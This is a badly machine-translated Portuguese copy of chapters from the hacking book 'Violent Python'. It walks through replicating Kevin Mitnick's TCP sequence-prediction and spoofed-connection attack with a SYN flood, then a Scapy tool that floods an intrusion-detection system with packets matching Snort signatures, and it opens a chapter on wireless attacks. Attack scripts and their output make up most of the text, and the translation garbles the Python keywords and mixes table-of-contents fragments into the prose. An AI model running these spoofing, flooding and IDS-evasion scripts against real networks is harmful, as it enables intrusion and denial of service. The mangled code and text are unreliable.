2022464000: 2022464000 (0) ack 1382726996 win 4096
14: 18: 28,811591 apollo.it.luc.edu.995> x­terminal.shell: R
1382726996: 1382726996 (0) 0 ganhar
<.. Cortou ..>

Para repetir em Python, vamos enviar um SYN TCP e esperar por um TCP SYN
ACK. Uma vez recebido, vamos retirar o número de sequência TCP do
reconhecimento e imprimi­lo para a tela. Vamos repetir isso para quatro
pacotes para confirmar que existe um padrão. Observe que, com scapy, nós não
precisa para completar todo o TCP e campos IP: scapy vai encher­los com
valores. Além disso, ele irá enviar de nosso endereço IP de origem por padrão.
Nossa nova função calTSN terá um endereço IP de destino e retornar a próxima
número sequencial para ser reconhecido (o número de seqüência atual mais
A diferença).
de scapy.all import *
def calTSN (TGT):
seqNum = 0
preNum = 0
diffSeq = 0
para X na gama (1, 5):
se preNum! = 0:
preNum = seqNum
pkt = IP (dst = TGT) / TCP ()
ans = SR1 (PKT, verbose = 0)
seqNum = ans.getlayer (TCP) .seq
diffSeq = seqNum ­ preNum
print '[+] TCP Seq diferença: "+ str (diffSeq)
voltar seqNum + diffSeq
tgt = "192.168.1.106"
seqNum = calTSN (TGT)
print "[+] Próximo TCP número sequencial para ACK é:" + str (seqNum + 1)

Correndo o nosso código contra um alvo vulnerável, vemos que ran­ sequência TCP
O domization não existe, e o alvo sofre da mesma vulnerabilidade como
máquina de Shimomura. Note­se, que, por padrão scapy usará destino padrão
Porta TCP 80. A meta de destino deve ter um serviço de escuta em qualquer
port tenta falsificar uma conexão.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 107/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
mitnick # python calculateTSN.py
[+] TCP Seq Diferença: 128000

Kevin Mitnick e TCP Previsão Sequence 159

[+] TCP Seq Diferença: 128000
[+] TCP Seq Diferença: 128000
[+] TCP Seq Diferença: 128000
[+] Próximo TCP número sequencial para ACK é: 2024371201

Spoo fi ng a conexão TCP
Com o número de sequência TCP correto na mão, Mitnick foi capaz de atacar.
O número Mitnick utilizado foi 2024371200, cerca de 150 SYNs após a inicial
SYNs ele enviou para o reconhecimento da máquina. Primeiro ele falsificado uma conexão do
Servidor, agora em silêncio. Em seguida, ele enviou um ACK blind com o número de seqüência de
2024371201, indicando que a conexão foi estabelecida corretamente.
14: 18: 36,245045 server.login> x­terminal.shell: S
1382727010: 1382727010 (0) ganhar 4096
14: 18: 36,755522 server.login> x­terminal.shell: .ack2024384001 ganhar
4096

Para replicar isso em Python, vamos criar e enviar os dois pacotes. Nós primeiro
criar um SYN com uma porta de origem TCP 513 e destino dos 514 com o
endereço IP de origem do servidor falso eo endereço IP de destino como o
alvo. Em seguida, criamos um pacote de confirmação semelhante, adicione o calculado
número de seqüência como um campo fi adicional, e enviá­lo.
de scapy.all import *
def spoofConn (src, tgt, ack):
IPlayer = IP (src = src, dst = TGT)
TCPlayer = TCP (sport = 513, dport = 514)
synPkt = iPlayer / TCPlayer
enviar (synPkt)
IPlayer = IP (src = src, dst = TGT)
TCPlayer = TCP (sport = 513, dport = 514, ack = ack)
ackPkt = iPlayer / TCPlayer
enviar (ackPkt)
src = "10.1.1.2"
tgt = "192.168.1.106"
seqNum = 2024371201
spoofConn (src, tgt, seqNum)

Colocar toda a base de código de volta juntos, vamos adicionar a opção de análise para adicionar
opções de linha de comando para o endereço falsificado para a conexão, o alvo
servidor e o endereço falsificado para o fl ood inicial SYN.

160 CAPÍTULO 4: Análise de tráfego de rede com Python

optparse importação
de scapy.all import *
def Synflood (src, tgt):
para o desporto em intervalo (1024,65535):
IPlayer = IP (src = src, dst = TGT)
TCPlayer = TCP (sport = esporte, dport = 513)
pkt = iPlayer / TCPlayer
enviar (PKT)
def calTSN (TGT):
seqNum = 0
preNum = 0
diffSeq = 0
para X na gama (1, 5):
se preNum! = 0:
preNum = seqNum
pkt = IP (dst = TGT) / TCP ()

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 108/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
ans = SR1 (PKT, verbose = 0)
seqNum = ans.getlayer (TCP) .seq
diffSeq = seqNum ­ preNum
print '[+] TCP Seq diferença: "+ str (diffSeq)
voltar seqNum + diffSeq
def spoofConn (src, tgt, ack):
IPlayer = IP (src = src, dst = TGT)
TCPlayer = TCP (sport = 513, dport = 514)
synPkt = iPlayer / TCPlayer
enviar (synPkt)
IPlayer = IP (src = src, dst = TGT)
TCPlayer = TCP (sport = 513, dport = 514, ack = ack)
ackPkt = iPlayer / TCPlayer
enviar (ackPkt)
def main ():
parser = optparse.OptionParser ( 'uso% prog' + \
'­s <Src para SYN Flood> ­S <src para conexão falsificado>' + \
'­t <Endereço de destino>')
parser.add_option ( '­ s', dest = 'synSpoof', type = 'string', \
Ajuda "src specifc para SYN Flood '=)
parser.add_option ( '­ S', dest = 'srcSpoof', type = 'string', \
help = 'especificar src para conexão falsificado')
parser.add_option ( '­ t', dest = 'tgt', type = 'string', \

Kevin Mitnick e TCP Previsão Sequence 161

help = 'especificar o endereço de destino ")
(Opções, args) = parser.parse_args ()
se options.synSpoof == Nenhum ou options.srcSpoof == Nenhum \
ou options.tgt == None:
parser.usage de impressão
exit (0)
outro:
synSpoof = options.synSpoof
srcSpoof = options.srcSpoof
tgt = options.tgt
print '[+] A partir SYN Flood para suprimir servidor remoto. "
Synflood (synSpoof, srcSpoof)
print '[+] Calculando Número TCP seqüência correta.'
seqNum = calTSN (TGT) + 1
print '[+] Spoofing Connection. "
spoofConn (srcSpoof, tgt, seqNum)
print '[+] Feito.
se __name__ == '__main__':
a Principal()

Correndo o nosso script fi nal, temos replicado com sucesso Mitnick de quase dois
há dez anos ataque. O que antes era visto como um dos mais sofisticados
ataques da história pode agora ser replicados com exatamente 65 linhas de código Python.
Com skillsets análise fortes na mão, vamos usar a próxima seção para descrever
um método para complicar a análise de ataques de rede, especificamente alvejando
sistemas de detecção de intrusão.

mitnick # python tcpHijack.py­s 10.1.1.2 ­S 192.168.1.2 ­t
192.168.1.106
[+] A partir SYN Flood para suprimir servidor remoto.
.
Enviados 1 pacotes.
.
Enviados 1 pacotes.
.
Enviados 1 pacotes.
<.. Cortou ..>
[+] Calculando Número TCP seqüência correta.
[+] TCP Seq Diferença: 128000
[+] TCP Seq Diferença: 128000

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 109/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

162 CAPÍTULO 4: Análise de tráfego de rede com Python

[ + ] TCP Seq Diferença: 128000
[ + ] TCP Seq Diferença: 128000
[ + ] Connection Spoofing.
.
Enviados 1 pacotes.
.
Enviados 1 pacotes.
[ + ] Feito.

Frustrar INVASÃO DE DETECÇÃO sistemas com
scapy
Um Sistema de Detecção de Intrusão (IDS) é uma ferramenta muito valiosa nas mãos de um
analista competente. Um sistema de detecção de intrusão baseada em rede (NIDS) pode ana­
Lyze tráfego fi c em tempo real, registrando pacotes em redes IP. Por pacotes que combinem
contra um conjunto conhecido de assinaturas maliciosos, um IDS pode alertar o analista de rede
a um ataque antes que ele consegue. Por exemplo, o sistema de pré­trata IDS SNORT
embalados com uma variedade de regras diferentes capazes de detectar diferentes tipos de
reconhecimento, exploits e ataques de negação de serviço entre uma ampla variedade
de outros vetores de ataque. Examinar o conteúdo de um desses regra con fi gura­
ções, vemos quatro alertas para detectar a TFN, TFN2K e Trin00 distribuídos denial­
of­service toolkits de ataque. Quando um atacante usa TFN, TFN2K ou Trin00 contra
um alvo, o IDS detecta o ataque e alerta o analista. No entanto, o que acon­
canetas, quando os analistas recebem mais alertas do que eles podem razoavelmente correlacionar a um
evento? Muitas vezes, eles tornar­se oprimido e pode perder importantes detalhes sobre o ataque.

vítima /etc/snort/rules/ddos.rules # cat
<.. Cortou ..>
alerta icmp $ EXTERNAL_NET qualquer ­> $ HOME_NET qualquer (msg: "DDOS TFN Probe";
icmp_id: 678; iType: 8; content: "1234"; Referência: aracnídeos, 443;
ClassType: recon­tentada; sid: 221; rev: 4;)
alerta icmp $ EXTERNAL_NET nenhum ­> $ HOME_NET nenhum (erro: "DDOS TFN2K icmp
possível a comunicação "; icmp_id: 0; iType: 0; teor:" AAAAAAAAAA ";
Referência: aracnídeos, 425; ClassType: tentou­dos; sid: 222; rev: 2;)
alerta udp $ EXTERNAL_NET qualquer ­> $ HOME_NET 31335 (msg: "DDOS Trin00
Daemon a mensagem de Mestre PONG detectado "; teor:" PONG ";
Referência: aracnídeos, 187; ClassType: recon­tentada; sid: 223; rev: 3;)
alerta icmp $ EXTERNAL_NET qualquer ­> $ HOME_NET qualquer (msg: "DDOS
comando do cliente TFN BE "; icmp_id: 456; icmp_seq: 0; iType: 0;
Referência: aracnídeos, 184; ClassType: tentou­dos; sid: 228; rev: 3;)
<... Cortou ...>

Frustrar Intrusion Detection Systems com scapy163

A fim de ocultar um ataque legítimo do analista, vamos escrever um kit de ferramentas
que gera um número esmagador de alertas para o analista de lidar.
Além disso, um analista pode usar essa ferramenta para verificar um IDS pode corretamente iden­
tificar malicioso tráfego fi c. Escrevendo o roteiro não vai provar difícil, como já
ter as regras que geram alertas. Para fazer isso, mais uma vez vai usar scapy para embarcações
pacotes. Considere a regra de primeira para o DDOS TFN Probe: aqui temos de ge­
comeu um pacote ICMP com um ID ICMP de 678 e ICMP tipo 8 que contém
o conteúdo matérias­"1234" no pacote. Com scapy, nós criar um pacote com estes
variáveis ​e enviá­lo para o nosso destino. Além disso, vamos construir pacotes para o nosso

três outras regras.

de scapy.all import *
def ddosTest (src, dst, iface, cont):
pkt = IP (src = src, dst = DST) / ICMP (tipo = 8, id = 678) / Raw (carga = "1234")
enviar (PKT, iface = iface, conte = contam)
pkt = IP (src = src, dst = DST) / ICMP (tipo = 0) / Raw (carga = "AAAAAAAAAA ')
enviar (PKT, iface = iface, conte = contam)
pkt = IP (src = src, dst = DST) / UDP (dport = 31335) / Raw (carga = "Pong")
enviar (PKT, iface = iface, conte = contam)
pkt = IP (src = src, dst = DST) / ICMP (tipo = 0, id = 456)
enviar (PKT, iface = iface, conte = contam)
src = "1.3.3.7"
dst = "192.168.1.106"

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 110/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
iface = "eth0"
contar = 1
ddosTest (src, dst, iface, contam)

A execução do script, vemos que quatro pacotes foram enviados para o nosso destino. o
IDS irá analisar esses pacotes e gerar alertas se eles corresponderem as assinaturas
corretamente.
atacante idsFoil.py # python
Enviados 1 pacotes.
.
Enviados 1 pacotes.
.
Enviados 1 pacotes.
.
Enviados 1 pacotes.

164 CAPÍTULO 4: Análise de tráfego de rede com Python

Examinando o log de alerta para SNORT, nós descobrir que fomos bem sucedidos! Todos os quatro
pacotes de gerar alertas para o sistema de detecção de intrusão.
vítima # bufar q consola ­A ­i eth0 ­c /etc/snort/snort.conf
03 / 14­07: 32: 52,034213 [**] [1: 221: 4] DDOS TFN Sonda [**]
[Classificação: Tentativa de informações de vazamento de] [Prioridade: 2] {} ICMP
1.3.3.7 ­> 192.168.1.106
03 / 14­07: 32: 52,037921 [**] [1: 222: 2] DDOS TFN2K icmp possível
comunicação [**] [Classificação: Tentativa de negação de serviço]
[Prioridade: 2] {} ICMP 1.3.3.7 ­> 192.168.1.106
03 / 14­07: 32: 52,042364 [**] [1: 223: 3] DDOS Trin00 Daemon para Mestre PONG
mensagem detectada [**] [Classificação: Tentativa de informações de vazamento de]
[Prioridade: 2] {} UDP 1.3.3.7:53 ­> 192.168.1.106:31335
03 / 14­07: 32: 52,044445 [**] [1: 228: 3] comando do cliente DDOS TFN BE [**]
[Classificação: Tentativa de Negação de Serviço] [Prioridade: 2] {} ICMP
1.3.3.7 ­> 192.168.1.106

Vejamos algumas regras mais um pouco complicado na assinatura exploit.rules
fi le de SNORT. Aqui, uma sequência de especi fi c bytes irá gerar alertas para o
ntalkd x86 Linux sobre ow fl eo Linux mountd mais de fl uxo.
alerta udp $ EXTERNAL_NET qualquer ­> $ HOME_NET 518 (msg: "EXPLORAR x86 ntalkd
Linux overflow "; teor:" | 01 03 00 00 00 00 00 01 00 02 02 E8 | ";
Referência: bugtraq, 210; ClassType: tentou­admin; sid: 313;
rev: 4;)
alerta udp $ EXTERNAL_NET qualquer ­> $ HOME_NET 635 (msg: "EXPLORAR x86 Linux
mountd overflow "; teor:" ^ | B0 02 89 06 FE C8 89 | F | 04 B0 06 89 | F ";
Referência: bugtraq, 121; Referência: cve, 1999­0002; ClassType
: Tentou­admin; sid: 315; rev: 6;)

Para gerar pacotes contendo os bytes não processados, usaremos a notação \ x se­
lowed pela codificação hexadecimal do byte. No alerta em primeiro lugar, isso gera
um pacote que irá disparar a assinatura para a ntalkd Linux sobre fluxo explorar. Em
o segundo pacote, vamos usar uma combinação de bytes matérias­codificado como hex mais
caracteres ASCII padrão. Observe como 89 | F | codifica como \ x89F para indicar que
contém bytes matérias mais um caractere ASCII. Os seguintes pacotes irá gerar
alertas para explorar tentativas.
def exploitTest (src, dst, iface, cont):
pkt = IP (src = src, dst = DST) / UDP (dport = 518) \
/ Raw (carga = "\ x01 \ x03 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x02 \ x02 \ xE8")
enviar (PKT, iface = iface, conte = contam)
pkt = IP (src = src, dst = DST) / UDP (dport = 635) \
/ Raw (carga = "^ \ xB0 \ x02 \ x89 \ x06 \ xfe \ XC8 \ x89F \ x04 \ xB0 \ x06 \ x89F")
enviar (PKT, iface = iface, conte = contam)

Frustrar Intrusion Detection Systems com scapy165

Finalmente, seria bom para falsificar algum reconhecimento ou varreduras. examinamos
as regras SNORT para verificações e encontrar duas regras que podemos artesanais pacotes para. Ambos

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 111/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
regras de detectar comportamentos maliciosos sobre o protocolo UDP em portas específicas com
conteúdo bruto especi fi c. É fácil de pacotes artesanais para este propósito.
alerta udp $ EXTERNAL_NET qualquer ­> $ HOME_NET 7 (msg: "udp Cybercop SCAN
bomb "; teor:" Cybercop "; referência: aracnídeos, 363; ClassType: bad­
desconhecido; sid: 636; Rev: 1;)
alerta udp $ EXTERNAL_NET qualquer ­> $ HOME_NET 10080: 10081 (msg: "SCAN Amanda
solicitação do cliente versão "; teor:" Amanda "; NOCASE; ClassType: attempted­
Recon; sid: 634; rev: 2;)

Geramos os dois pacotes para as regras de digitalização para Cybercop e Amanda reconstrução
ferramentas naissance. Depois de gerar os dois pacotes com o destino correcto UDP
portos ção e conteúdo, nós enviá­los para o alvo.
def ScanTest (src, dst, iface, cont):
pkt = IP (src = src, dst = DST) / UDP (dport = 7) \
/ Raw (carga = "Cybercop ')
enviar (PKT)
pkt = IP (src = src, dst = DST) / UDP (dport = 10080) \
/ Raw (carga = 'Amanda')
enviar (PKT, iface = iface, conte = contam)

Agora que temos pacotes para gerar alertas para ataques de negação de serviço, exploits,
e reconhecimento, nós colocamos nosso script de volta juntos e adicionar algum pars­ opção
ing. Observe que o usuário deve digitar o endereço de destino ou o programa sairá: se
o usuário não digite um endereço de origem, que irá gerar um endereço de origem aleatória.
Se o usuário não especificar quantas vezes para enviar os pacotes concebidos para o efeito, vamos
enviar apenas uma vez. O script usa a eth0 adaptador padrão, a menos que de outra forma
especi fi cada. Embora propositalmente curto para os nossos objetivos no texto, você poderia con­
tinuar a acrescentar a este script para gerar e alertas de teste para todos os tipos de ataques.
optparse importação
de scapy.all import *
de randint importação aleatória
def ddosTest (src, dst, iface, cont):
pkt = IP (src = src, dst = DST) / ICMP (tipo = 8, id = 678) / Raw (carga = "1234")
enviar (PKT, iface = iface, conte = contam)
pkt = IP (src = src, dst = DST) / ICMP (tipo = 0) / Raw (carga = "AAAAAAAAAA ')
enviar (PKT, iface = iface, conte = contam)
pkt = IP (src = src, dst = DST) / UDP (dport = 31335) / Raw (carga = "Pong")
enviar (PKT, iface = iface, conte = contam)
pkt = IP (src = src, dst = DST) / ICMP (tipo = 0, id = 456)

166 CAPÍTULO 4: Análise de tráfego de rede com Python

enviar (PKT, iface = iface, count = count)
def exploitTest (src, dst, iface, cont):
pkt = IP (src = src, dst = DST) / UDP (dport = 518) \
/ Raw (load = "\ x01 \ x03 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x02 \ x02 \ xE8")
enviar (PKT, iface = iface, count = count)
pkt = IP (src = src, dst = DST) / UDP (dport = 635) \
/ Raw (load = "^ \ xB0 \ x02 \ x89 \ x06 \ xfe \ XC8 \ x89F \ x04 \ xB0 \ x06 \ x89F")
enviar (PKT, iface = iface, count = count)
def ScanTest (src, dst, iface, cont):
pkt = IP (src = src, dst = DST) / UDP (dport = 7) \
/ Raw (carga = 'Cybercop')
enviar (PKT)
pkt = IP (src = src, dst = DST) / UDP (dport = 10080) \
/ Raw (carga = 'Amanda')
enviar (PKT, iface = iface, count = count)
def main ():
parser = optparse.OptionParser ( 'uso% prog' + \
'­i <Iface> ­s <origem> ­t <meta> ­c <count>'
)
parser.add_option ( '­ i', dest = "iface ', type =' string ', \
help = 'especificar interface de rede')
parser.add_option ( '­ s', dest = 'src', type = 'string', \
help = 'especificar o endereço de origem')
parser.add_option ( '­ t', dest = 'tgt', type = 'string', \
help = 'especificar o endereço de destino ")
parser.add_option ( '­ c', dest = 'count', type = 'int', \
help = 'especificar número de pacotes')
(Opções, args) = parser.parse_args ()
se options.iface == None:

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 112/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
iface = 'eth0'
outro:
iface = options.iface
se options.src == None:
src = '.'. join ([str (randint (1254)) para x no intervalo (4)])
outro:
src = options.src
se options.tgt == None:
parser.usage de impressão
exit (0)

Frustrar Intrusion Detection Systems com scapy167

outro:
dst = options.tgt
se options.count == None:
contar = 1
outro:
contar = options.count
ddosTest (src, dst, iface, contam)
exploitTest (src, dst, iface, contam)
ScanTest (src, dst, iface, contam)
se __name__ == '__main__':
a Principal()

Executar nosso script nal fi, vemos ele envia corretamente oito pacotes para o destino
abordar e falsifica o endereço de origem como 1.3.3.7. Para fins de teste, certifique­se
o alvo é diferente do que a máquina invasor.
atacante # python idsFoil.py ­i eth0 ­s 1.3.3.7 ­t 192.168.1.106 ­c 1
.
Enviados 1 pacotes.
.
Enviados 1 pacotes.
.
Enviados 1 pacotes.
.
Enviados 1 pacotes.
.
Enviados 1 pacotes.
.
Enviados 1 pacotes.
.
Enviados 1 pacotes.
.
Enviados 1 pacotes.

Analisando os logs dos IDS, vemos que ela rapidamente encheram­se com os oito
mensagens de alerta. Excepcional! O nosso kit de ferramentas funciona, que termina neste capítulo.
vítima # bufar q consola ­A ­i eth0 ­c /etc/snort/snort.conf
03 / 14­11: 45: 01,060632 [**] [1: 222: 2] DDOS TFN2K icmp possível
comunicação [**] [Classificação: Tentativa de negação de serviço]
[Prioridade: 2] {} ICMP 1.3.3.7 ­> 192.168.1.106

168 CAPÍTULO 4: Análise de tráfego de rede com Python

03 / 14­11: 45: 01,066621 [**] [1: 223: 3] DDOS Trin00 Daemon para Mestre PONG
mensagem detectada [**] [Classificação: Tentativa de informações de vazamento de]
[Prioridade: 2] {} UDP 1.3.3.7:53 ­> 192.168.1.106:31335
03 / 14­11: 45: 01,069044 [**] [1: 228: 3] comando do cliente DDOS TFN BE [**]
[Classificação: Tentativa de Negação de Serviço] [Prioridade: 2] {} ICMP
1.3.3.7 ­> 192.168.1.106
03 / 14­11: 45: 01,071205 [**] [1: 313: 4] EXPLORAR ntalkd estouro x86 Linux
[**] [Classificação: Tentativa de privilégio de administrador Gain]
[Prioridade: 1] {} UDP 1.3.3.7:53 ­> 192.168.1.106:518
03 / 14­11: 45: 01,076879 [**] [1: 315: 6] explorar x86 Linux mountd estouro

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 113/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
[**] [Classificação: Tentativa de privilégio de administrador Gain]
[Prioridade: 1] {} UDP 1.3.3.7:53 ­> 192.168.1.106:635
03 / 14­11: 45: 01,079864 [**] [1: 636: 1] SCAN bomba udp Cybercop [**]
[Classificação: Potencialmente Bad Tráfego] [Prioridade: 2] {} UDP
1.3.3.7:53 ­> 192.168.1.106:7
03 / 14­11: 45: 01,082434 [**] [1: 634: 2] pedido SCAN Amanda versão de cliente
[**] [Classificação: Tentativa de informações de vazamento de] [Prioridade: 2]
UDP {} 1.3.3.7:53 ­> 192.168.1.106:10080

CAPÍTULO WRAP UP
Parabéns! Nós escrevemos algumas ferramentas neste capítulo para analisar rede
tráfego fi c. Começamos escrevendo uma ferramenta rudimentar capaz de detectar a ope­
ção ataque Aurora. Em seguida, nós escreveu alguns scripts para detectar o grupo de hackers
Anonymous 'kit de ferramentas LOIC em ação. Em seguida, foi replicado um programa
que dezessete anos de idade, HD Moore usado para detectar varreduras de rede de engodo no
Pentágono. Em seguida, criamos alguns scripts para detectar ataques que utilizaram DNS como
um vetor, incluindo a tempestade e Con fi vermes cker. Com a capacidade de analisar
tráfego fi c, nós replicado um ataque de idade de duas décadas usado por Kevin Mitnick. Finalmente, nós
utilizou as nossas capacidades de análise de rede para criar pacotes para sobrecarregar um IDS.
Esperemos que este capítulo forneceu­lhe excelentes qualificações para analisar rede
trabalhar tráfego fi c. Este estudo será útil no próximo capítulo como se escreve ferramentas para
auditar redes sem fio e dispositivos móveis.

Referências
Binde, B., McRee, R., & O'Connor, T. (2011). Avaliando saída tráfego fi c para descobrir per­ avançada
ameaça sistente. Obtido a partir do site SANS Technology Institute: www.sans.edu/student­ fi les /
projectos / JWP­Binde­McRee­OConnor.pdf,Maio de 22.
CIO Institute boletim sobre a segurança do computador (1999). Retirado fevereiro de <nmap.org/press/
cio­avançado­scanners.txt>,De Março de 8 pessoas.
Higgins, KJ (2007). Atacantes esconder em rápido fl uxo. Escuro Reading . Obtido em <http: //www.dark­
reading.com/security/perimeter­security/208804630/index.html>,De Julho de 17 anos.

Referências 169

Lemos, R. (2007). Rápido influxo foils takedown bot­net. SecurityFocus . Obtido em <http: //www.secu­
rityfocus.com/news/11473>,De Julho de 9.
Markoff, J. (1995). A cyberthief mais procurado é capturado em sua própria web. Nova Iorque Tempos (online
edição). Retirado de <www.nytimes.com/1995/02/16/us/a­most­wanted­cyberthief­is­
pegou­em­seu­próprio­web.html? src = pm>,De Fevereiro de 16 anos.
Nazario, J. (2008). Como os bidões líquidos:. Fast­ influxo botnet observações HoneyBlog . Retirado de
<Honeyblog.org/junkyard/paper/fast fl uxo­malware08.pdf>, 5 de Novembro.
Shimomura, T. (1994). 25 de janeiro post de Tsutomu a Usenet (comentário fórum on­line). Retirado
de <http://www.takedown.com/coverage/tsu­post.html>, 25 de dezembro.
Shimomura, T. (1996). Wired 4,02: Travando Kevin. Wired.com . Obtido em <http: // www.
wired.com/wired/archive/4.02/catching.html>,De Fevereiro de 1.
Verton, D. (2002). Os hackers diários: Confissões de adolescentes hackers . New York: McGraw­Hill /
Osborne.
Zetter, K. (2010). Google Hack Attack foi ultra­sofisticado, novos detalhes mostrar. Wired.com .
Retirado de <http://www.wired.com/threatlevel/2010/01/operation­aurora/>, 14 de janeiro.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 114/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

CAPÍTULO 5

Mayhem sem fio com Python

Informações neste capítulo: CONTEÚDO

■  Snif fi ng ​
sem fio Networks para pessoal Informação
​ Introdução:
Sem fio
■  Ouvir para Preferred Networks e identificação escondida sem fio (IN) Segurança e
Networks o Iceman ............... 171
■  Tomando Controle de sem fio não tripulados aéreos Veículos
■  Identificar Firesheep em Uso
Montando sua
Ataque sem fio
■  Stalking Bluetooth Radios
Ambiente ............ 172
■  Explorando Bluetooth Vulnerabilities teste sem fio
Capturar com scapy ....... 172
Instalando Python
Pacotes Bluetooth ....... 173

The Wall de ovino
Conhecimento não cresce como uma árvore onde você cavar um buraco, plante seu
passivamente escuta
pés, cobri­los com terra, e derramar água sobre eles diariamente. Conhecimento
para Secrets sem fio ... 174
cresce com o tempo, trabalho e esforço dedicado. Ele não pode vir por qualquer
Usando Python regular
Outros significados. Expressões para Sniff
Ed Parker, Terceira Grão­Mestre da American Kenpo Cartões de Crédito ................... 175
Sniffing hóspedes do hotel .... 178
Construindo um fio
INTRODUÇÃO: WIRELESS (IN) SEGURANÇA E Google Key Logger ........ 181

O HOMEM DE GELO Sniffing FTP
Credenciais ..................... 184

Onde tem seu
Em 5 de Setembro de 2007, o Serviço Secreto dos EUA prendeu um hacker chamado wireless
Laptop Já esteve?
Max Ray Butler (Segredo Service, 2007). Também conhecido como o Homem de Gelo, Mr. Butler
Respostas Python ..... 186
vendeu dezenas de milhares de contas de cartão de crédito através de um site. Mas como
Escuta de 802.11
ele recolher essa informação privada? Snif fi ng sem criptografia con­ internet sem fio
Os pedidos de sonda .............. 186
conexões provou ser um dos métodos que ele usou para obter acesso ao cartão de crédito
Finding Oculto
rede 802.11
em formação. The Iceman alugado quartos de hotel e apartamentos usando falsa iden­
Beacons .......................... 187
tidades. Ele então usou antenas de alta potência para interceptar comunicações ao
do hotel e pontos de acesso sem fio dos apartamentos nas proximidades para capturar o pessoal
171
Python violento. Http://dx.doi.org/10.1016/B978­1­59­749957­6.00005­3
Copyright © 2013 Elsevier Inc. Todos os direitos reservados.

172 CAPÍTULO 5: Mayhem sem fio com Python

De­cloaking Escondido
informações dos seus clientes (Peretti, 2009). Com demasiada frequência, especialistas em mídia classificar
802.11 Networks ............ 188
este tipo de ataque "sofisticado e complexo." Essa declaração revela peri­
interceptando e goso, como podemos executar vários desses ataques em scripts Python curtas. Como
Espionando UAVs você verá nas seções a seguir, podemos farejar informações de cartão de crédito no
com Python ............. 189
interceptando o
menos de 25 linhas de código. Mas antes de começar, vamos garantir que temos o nosso am­
Tráfego, Dissecando o configuração ente corretamente.
Protocolo ........................... 189
Crafting 802.11 Frames
CONFIGURAÇÃO DA ATAQUE WIRELESS
com scapy ...................... 192
Finalizando o ataque, MEIO AMBIENTE
Pouso de emergência
O UAV ......................... 195 Nas seções seguintes, vamos escrever código para farejar o tráfego wireless fi c e enviá­primas
802.11 frames. Usaremos uma Hawking Hi­Gain Wireless­150N Rede USB
Detecção Adaptador com Faixa Ampli fi cador (HAWNU1) para criar e testar os scripts neste
Firesheep ................ 196
Compreensão capítulo. Os drivers padrão para este cartão em Backtrack 5 permitir que um usuário colocá­lo em
Sessão Wordpress modo de monitorar, bem como transmitir quadros crus. Além disso, ele contém um externa
Biscoitos ........................... 198 ligação da antena que nos permite ligar uma antena de alta potência para o cartão.
Rebanho de ovino

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 115/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Apanhar Wordpress Nossos scripts exigem a capacidade de colocar o cartão em um monitor, a fim de
Bolacha passivamente ouvir tudo sem fio tráfego fi c. Modo Monitor permite que você receba
quadros sem fio cru, em vez de 802.11 frames Ethernet você costuma entrar em
Reutilização .............................. 199

Stalking com modo gerenciado. Isso permite que você veja balizas e a gestão sem fio
Bluetooth e quadros, mesmo se você não está associado a uma rede.
Python ...................... 201
interceptando sem fio
Tráfego para Localizar
Testando Captura sem fio com scapy
Endereços Bluetooth ..... 203 Para colocar o cartão no modo monitor, usamos o pacote Aircrack­ng de ferramentas ESCRITO
Bluetooth digitalização dez por Thomas d'Otreppe. Iwcon fi g lista nosso adaptador sem fio como wlan0. Próximo,
Canais RFCOMM ....... 205
Usando o Bluetooth
corremos o comando airmon­ng iniciar wlan0 para iniciá­lo em modo monitor . Este
Discovery service cria um novo adaptador conhecido como mon0.
Protocolo ........................... 206
Taking Over uma impressora
atacante # iwconfig wlan0
com Python wlan0 IEEE 802.11bgn ESSID: off / any
ObexFTP ......................... 207 Mode: Managed Access Point: Não­Associados
Bluebugging um telefone
com Python .................... 208
Repetir limite de tempo: 7 RTS THR: off Fragment thr: off
chave de criptografia: off
Capítulo Wrap Up .... 209
Gerenciamento de energia: em
